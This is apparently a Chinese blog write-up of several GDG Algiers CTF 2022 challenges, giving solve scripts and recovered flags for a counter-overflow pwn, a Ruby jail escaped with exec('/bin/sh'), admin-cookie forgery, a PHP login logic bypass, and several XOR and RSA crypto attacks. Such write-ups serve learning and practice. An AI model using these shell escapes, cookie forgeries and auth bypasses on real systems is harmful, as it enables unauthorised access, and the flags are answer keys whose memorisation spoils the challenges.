[GDG CTF 2022] 几个小题,等WP

pwn-counter

作出来的基本都是入门题,这题给了源码,有3个功能1是counter++,2是counter--,但到1就不再减,3是给flag但要求counter==0。由于counter是字节型的,直接加255将就会变成0

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <errno.h>

#define NUM_BUF_SIZE 24
#define STRTOUL_BASE 10

void flag(void);

void disable_buffering(void);
void input_str(char *msg, char *str, size_t size);
unsigned long get_num(char *msg);

void flag(void) {
    system("cat flag.txt");
}

int main(int argc, char *argv[])
{
    unsigned char counter = 1;

    disable_buffering();

    while (true) {
        printf("Counter: %d\n", counter);
        puts("1) ++");
        puts("2) --");
        puts("3) Flag");
        puts("0) Exit");

        switch (get_num("Choice: ")) {
            case 1:
                counter++;
                break;
            case 2:
                if (counter > 1) {
                    counter--;
                }
                break;
            case 3:
                if (counter == 0) {
                    flag();
                } else {
                    puts("No.");
                }
                break;
            case 0:
                puts("Bye!");
            default:
                fprintf(stderr, "Invalid option\n");
                break;
        }

        putchar('\n');
    }

    return EXIT_SUCCESS;
}

void disable_buffering(void)
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void input_str(char *msg, char *str, size_t size)
{
    ssize_t num_bytes;

    fputs(msg, stdout);
    num_bytes = read(STDIN_FILENO, str, size - 1);
    if (num_bytes == -1) {
        perror("read");
        exit(EXIT_FAILURE);
    } else {
        str[num_bytes] = '\0';
    }

    return;
}

unsigned long get_num(char *msg)
{
    char str[NUM_BUF_SIZE] = { '\0' };
    char *endptr = NULL;
    unsigned long num;

    input_str(msg, str, NUM_BUF_SIZE);
    num = strtoul(str, &endptr, STRTOUL_BASE);
    if (errno == ERANGE) {
        perror("strtoul");
        exit(EXIT_FAILURE);
    }

    return num;
}

WP,其实可以不写程序,但手工还是太慢了。

from pwn import *

p = remote('pwn.chal.ctf.gdgalgiers.com', 1402)

context(arch='amd64', log_level='debug')

for i in range(255):
    p.sendlineafter(b'Choice: ',b'1')

p.sendline(b'3')

p.recvall()

#CyberErudites{1NtegeR_0v3rfloWS_ar3_Na$ty}

jail-Red Diamond

这种题型第1次见,应该是越狱吧,直接给了远端其它什么都没有,直接登上去,发现可以exec

┌──(kali㉿kali)-[~/ctf/notes_keeper]
└─$ nc -v jail.chal.ctf.gdgalgiers.com 1303
DNS fwd/rev mismatch: jail.chal.ctf.gdgalgiers.com != 90.161.154.34.bc.googleusercontent.com
jail.chal.ctf.gdgalgiers.com [34.154.161.90] 1303 (?) open
> Welcome to my personal calculator
> To end the program type EXIT
OPERATION : exec('/bin/sh')
ls
chall.rb
entrypoint.sh
flag.txt
cat flag.txt
CyberErudites{I_Th0ugh7_CAlcul4t0rs_C4n_OnlY_b3_eXploited_in_PYY}  

web-cookauth

一般情况下是不作web题的,因为不会,但50分的题出来还可以看看,点出链接发现有admin,再点进去提示

Nope, must be the admin

结合名字cook auth,进开发者模式,找里边的cookie,发现一个叫_info_user的cookie

>>> bytes.fromhex('7b2275736572223a20226775657374227d')
b'{"user": "guest"}'

改为 admin

>>> b'{"user": "admin"}'.hex()
'7b2275736572223a202261646d696e227d'

 web-ezphp

这个源码有个BUG,很明显的逻辑问题,应该用或 ||而用了与&&,也就是说不成功也行

<?php
session_start();
include "flag.php";

if (!isset($_GET["login"]) || !isset($_GET["pass"]))
    die(show_source(__FILE__));

if ($_SESSION["admin"] == 1)
        echo $FLAG;

$login = $_GET["login"];
$password = $_GET["pass"];
$_SESSION["admin"] = 1;
if ($login !== "admin" && md5($password) !== "117080b3bcbd07588b4df032280f46a5")
{
    echo "Wrong password\n";
    $_SESSION["admin"] = 0;
}

?>
1

然后刷新两次(第1次=1,第2次得到flag)

misc-Kvant

啥意思不清楚,看上去是说一个量子计算机,加密分3次第1次单字节第2次双字节然后3字节,显然这种加密前后无关可以爆。

然后下了qiskit试,发现1字节就是把0,1变成01,10,两字节就是把00,01,10,11变为1000,0001,... 这样就可以直接查字典逆回来,显然它不是加密是编码。直接在原文上改了就。

不过后边有个小坑,前两天刚弄过,也不难。得到str时由于里边有0x80分导致自动用utf-8编码成c280,是不是作者在吐槽python的bytes<->str,反正python强制引入后很烦人。

对于密文,由于所有码都是1个1,7个0,导致编码后只有80会被编为c280,把enc.txt里的c2删掉就OK了。没有C2就str直接读不出来了,改用bytes,强烈建议数据操作时用bytes绕过str的utf8。

from qiskit import QuantumCircuit, assemble, Aer
sim = Aer.get_backend('aer_simulator')


def get_state(x):
    l = [0]* 2**len(x)
    l[int(x,2)] = 1
    return  l

def str2bin(s):
    return ''.join(bin(ord(i))[2:].zfill(8) for i in s)

def bin2str(a):
    return ''.join(chr(int(a[i:i+8],2)) for i in range(0,len(a),8))

def encode_1(initial_state):
    qc = QuantumCircuit(1)
    qc.initialize(initial_state)
    qc.x(0)
    qc.save_statevector()
    qobj = assemble(qc)
    state = sim.run(qobj).result()
    return list(state.get_statevector().real.astype(int))

def encode_2(initial_state):
    qc = QuantumCircuit(2)
    qc.initialize(initial_state)
    qc.cx(0,1)
    qc.save_statevector()
    qobj = assemble(qc)
    state = sim.run(qobj).result()
    return list(state.get_statevector().real.astype(int))

def encode_3(initial_state):
    qc = QuantumCircuit(3)
    qc.initialize(initial_state)
    qc.ccx(0,1,2)
    qc.save_statevector()


    qobj = assemble(qc)
    state = sim.run(qobj).result()
    return list(state.get_statevector().real.astype(int))



def  encrypt_1(word):
    enc = ""
    for _ in range(len(word)):
        st = get_state(word[_])
        enc+= ''.join(str(x) for x in encode_1(st))
    return enc
def encrypt_2(word):
    enc = ""
    for _ in range(0,len(word),2):
        st = get_state(word[_:_+2])
        enc+= ''.join(str(x) for x in encode_2(st))
    return enc
def encrypt_3(word):
    enc = ""
    for _ in range(0,len(word),3):
        st = get_state(word[_:_+3])
        enc+= ''.join(str(x) for x in encode_3(st))
    return enc

'''
with open("flag.txt","r") as f:
    flag = f.read()
flag = 'C'
flag = str2bin(flag)

enc_1 = encrypt_1(flag)

enc_2 = encrypt_2(enc_1)

enc_3 = encrypt_3(enc_2)

with open("test.txt","w") as f:
    f.write(bin2str(enc_3))
'''
ol = ['0','1']
dic1 = {}
for i in ol:
    dic1[encrypt_1(i)]=i

dic2 = {}
for i in ol:
    for j in ol:
        dic2[encrypt_2(i+j)] = i+j

dic3 = {}
for i in ol:
    for j in ol:
        for k in ol:
            dic3[encrypt_3(i+j+k)] = i+j+k

print(dic1, dic2, dic3)

data = open('enc2.txt', 'rb').read()
data = ''.join([bin(i)[2:].zfill(8) for i in data])
data = ''.join([ dic3[data[i:i+8]] for i in range(0, len(data), 8) ])
data = ''.join([ dic2[data[i:i+4]] for i in range(0, len(data), 4) ])
data = ''.join([ dic1[data[i:i+2]] for i in range(0, len(data), 2) ])
print(bin2str(data))
#CyberErudites{W3lc0m3_7o_th3_w0rld_0f_Qu4ntum_C0mput1ng!}

 reverse-traditions

这个直接给两个串异或

a = [86,232,72,60,0,91,171,127,210,152,94,223,44,29,52,32,16,180,189,125,242,136,253,98,237,70,164,122,5,15,245,91,247,61,151,247,152,66,119,107,218,213,74,7,242,126,39,2]

c = [21,145,42,89,114,30,217,10,182,241,42,186,95,102,112,97,79,247,209,73,214,172,180,33,178,30,148,40,90,87,170,21,199,10,200,163,240,118,3,52,136,225,36,99,194,19,90,2]

bytes([a[i]^c[i] for i in range(48)])
#CyberErudites{DA_Cl4$$IC_X0R_X_N07_Th4t_R4nd0m}

reverse-impossible_challenge

   v11[0] = 6;
    v11[1] = 60;
    v11[2] = 39;
    v11[3] = 32;
    v11[4] = 55;
    v11[5] = 0;
    v11[6] = 55;
    v11[7] = 48;
    v11[8] = 33;
    v11[9] = 44;
    v11[10] = 49;
    v11[11] = 32;
    v11[12] = 54;
    v11[13] = 62;
    v11[14] = 97;
    v11[15] = 32;
    v11[16] = 0;
    v11[17] = 26;
    v11[18] = 43;
    v11[19] = 10;
    v11[20] = 49;
    v11[21] = 45;
    v11[22] = 12;
    v11[23] = 11;
    v11[24] = 2;
    v11[25] = 26;
    v11[26] = 12;
    v11[27] = 97;
    v11[28] = 26;
    v11[29] = 116;
    v11[30] = 40;
    v11[31] = 53;
    v11[32] = 42;
    v11[33] = 97;
    v11[34] = 97;
    v11[35] = 44;
    v11[36] = 7;
    v11[37] = 41;
    v11[38] = 32;
    v11[39] = 56;
    dest = 0;
    v10 = 69;
    for ( i = 0; i <= 39; ++i )
    {
      src = LOBYTE(v11[i]) ^ v10;
      strncat(&dest, &src, 1uLL);
    }

数都给了,直接异或

a = [6,60,39,32,55,0,55,48,33,44,49,32,54,62,97,32,0,26,43,10,49,45,12,11,2,26,12,97,26,116,40,53,42,97,97,44,7,41,32,56]
v10 = 69
print(bytes([i^69 for i in a]))

crypto-eXORcist

输入一个key然后由这个key与flag异或,问题在于输出的时候作了个encode(),这样会被utf-8编码,好恶心。

#!/usr/bin/env python3
# Crypto challenge of eXORciste
import os 
#from flag import FLAG
FLAG = b'xxxxxxxxxxxxxxxxxxxx'
import random

def xor(message, key):
    return ''.join([chr(m^k) for m,k in zip(message, key)] )
    


def generate_key(length):
    random_seed = os.urandom(16)
    key = random_seed * (length //16) + random_seed[:(length % 16)]
    return key 



def main():
    print("Hello Stranger, send me your secret and I will make sure to roll it up")
    while True:
        message = input('>> ').encode()
        print(len(message))
        if len(message)<20:
            print('That is not a secret man!')
            exit()
        key = generate_key(len(message))
        print(key)
        offset = random.randint(0, len(message))
        print(offset)
        cipher = xor(message[:offset]+FLAG+message[offset:], key)
        print("> "+ cipher.encode().hex())


if __name__ == "__main__":
    main()

直接先进行utf-8还原,再异或

1,由于并没有中文,编码最多是两字节的,将两字节的负载直接取出即可。

2,zip进行xor里,返回的长度为最短的长度,key并不循环,直接用pwntools里的xor

3,encode并不是一定要编成两字节,仅当最高位为1时才编,所以一开始的时候可以多试几将就通过得到的未编码片断猜到flag,不过后来网站改了,所有字符都会高位为1,不再显示片段。

from pwn import *

p = remote('crypto.chal.ctf.gdgalgiers.com', 1002)

for i in range(1):
    p.sendlineafter(b'>> ', b'0'*320)
    p.recvuntil(b'> ')
    cipher = bytes.fromhex(p.recvline()[:-1].decode())
    c = cipher.decode('utf-8')

    v = []
    for i in c:
        t = i.encode()
        if len(t) == 1:
            v.append(t[0])
        else:
            t0 = (t[0] & 0x3)<<6
            v.append((t[1]&0x3f) + t0)
    c = bytes(v)
    key = xor(c[:16],b'0'*16)
    
    m = xor(c, key)
    print(m)

# CyberErudites{Y0u_kn0w_h0w_T0_XOR}
'''
b'0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000CyberErudites{Y0u_kn0w_h0w_T0_XOR}0000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000'
''' 

crypto-The_Messager

按字符RSA加密,所以并不需要解密,只需要一个个试就可以

from Crypto.Util.number import bytes_to_long, getStrongPrime
from math import gcd
from flag import FLAG
from Crypto.Random import get_random_bytes



def encrypt(m):
    return pow(m,e,N)



e = 65537
p = getStrongPrime(512)
q = getStrongPrime(512)


# generate secure keys
result = 0
while (result !=1):
    p = getStrongPrime(512)
    q = getStrongPrime(512)
    result = gcd(e,(p-1)*(q-1)) 	

N = p * q

print("N = " + str(N))
print("e = " + str(e))

ct= []

for car in FLAG:
	ct.append(encrypt(car))

print("ct = "+str(ct))

WP

from values import *

flag = ''
for c in ct:
    for i in range(0x21,0x7f):
        if pow(i,e,N) == c:
            flag += chr(i)
            break 
    
print(flag)
#CyberErudites{RSA_1S_S1MPL3}

crypto-franklin-last-words

跟上题基本一样,只是加密里e=3,并且取了一个很大的m,由m+pow(i,3,N)加密,

from Crypto.Util.number import bytes_to_long, getStrongPrime
from math import gcd
from flag import FLAG
from Crypto.Random import get_random_bytes



def encrypt_message(m):
    return pow(m,e,N)


def advanced_encrypt(a,m):
	return encrypt_message(pow(a,3,N)+(m << 24))

e = 3
p = getStrongPrime(512)
q = getStrongPrime(512)


# generate secure keys
result = 0
while (result !=1):
    p = getStrongPrime(512)
    q = getStrongPrime(512)
    result = gcd(e,(p-1)*(q-1)) 	

N = p * q

print("N = " + str(N))
print("e = " + str(e))

rand = bytes_to_long(get_random_bytes(64))

ct = []
ct.append(encrypt_message(rand << 24))

for car in FLAG:
	ct.append(advanced_encrypt(car,rand))

print("ct = "+str(ct))

这里e很小,各个M之间相差也很小,正好适合短填充攻击。先用短填充模板得到m

def short_pad_attack(c1, c2, e, n):
    PRxy.<x,y> = PolynomialRing(Zmod(n))
    PRx.<xn> = PolynomialRing(Zmod(n))
    PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

    g1 = x^e - c1
    g2 = (x+y)^e - c2

    q1 = g1.change_ring(PRZZ)
    q2 = g2.change_ring(PRZZ)

    h = q2.resultant(q1)
    h = h.univariate_polynomial()
    h = h.change_ring(PRx).subs(y=xn)
    h = h.monic()

    kbits = n.nbits()//(2*e*e)
    diff = h.small_roots(X=2^kbits, beta=0.5)[0]  # find root < 2^kbits with factor >= n^0.5

    return diff

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]


if __name__ == '__main__':
    n = 128704452311502431858930198880251272310127835853066867118127724648453996065794849896361864026440048456920428841973494939542251652347755395656512696329757941393301819624888067640984628166587498928291226622894829126692225620665358415985778838076183290137030890396001916620456369124216429276076622486278042629001
    e = 3

    # nbits = n.nbits()
    # kbits = nbits//(2*e*e)
    # print ("upper %d bits (of %d bits) is same" % (nbits-kbits, nbits))

    # ^^ = bit-wise XOR
    # http://doc.sagemath.org/html/en/faq/faq-usage.html#how-do-i-use-the-bitwise-xor-operator-in-sage
    # m1 = randrange(2^nbits)
    # m2 = m1 ^^ randrange(2^kbits)
    # c1 = pow(m1, e, n)
    # c2 = pow(m2, e, n)
    c1 = 21340757543584301785921441484183053451553315439245254915339588451884106542258661009436759738472587801036386643847752005362980150928908869053740830266273664899424683013780904331345502086236995074501779725358484854206059302399319323859279240268722523450455802058257892548941510959997370995292748578655762731064
    c2 = 53066819955389743890197631647873076075338086201977617516688228878534943391813622173359672220491899999289257725082621279332126787067021987817619363964027754585057494857755310178293620211144789491527192983726079040683600073569676641124270473179040250808117008272524876858340200385005503388452491343904776677382

    diff = short_pad_attack(c1, c2, e, n)
    print ("difference of two messages is %d" % diff)

    #print (m1)
    m1 = related_message_attack(c1, c2, diff, e, n)
    print (m1)
    #print (m2)
    print (m1 + diff)

'''
difference of two messages is 300763
166948911880587234600972597325398559800623586442106754544249387904660171481281804594820145380464642946591165741209919048255667796045110331101490851949349850578944
166948911880587234600972597325398559800623586442106754544249387904660171481281804594820145380464642946591165741209919048255667796045110331101490851949349850879707
'''

得到m和两个差300763正好是flag第1个字符C的3将幂

然后爆破即可

from message import *
#由于c0,c1只相关 ord('C')**3 = 300763 非常小,用短填充攻击求m  
m = 166948911880587234600972597325398559800623586442106754544249387904660171481281804594820145380464642946591165741209919048255667796045110331101490851949349850578944
#再逐个爆破字母
flag = ''
for i in range(1,len(ct)):
    for j in range(0x21,0x7f):
        v = pow(pow(j,3,N)+m, 3, N)
        if v == ct[i] :
            flag += chr(j)
            break 

print(flag)
#CyberErudites{Fr4nkl1n_W3_n33d_an0th3R_S3450N_A54P}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值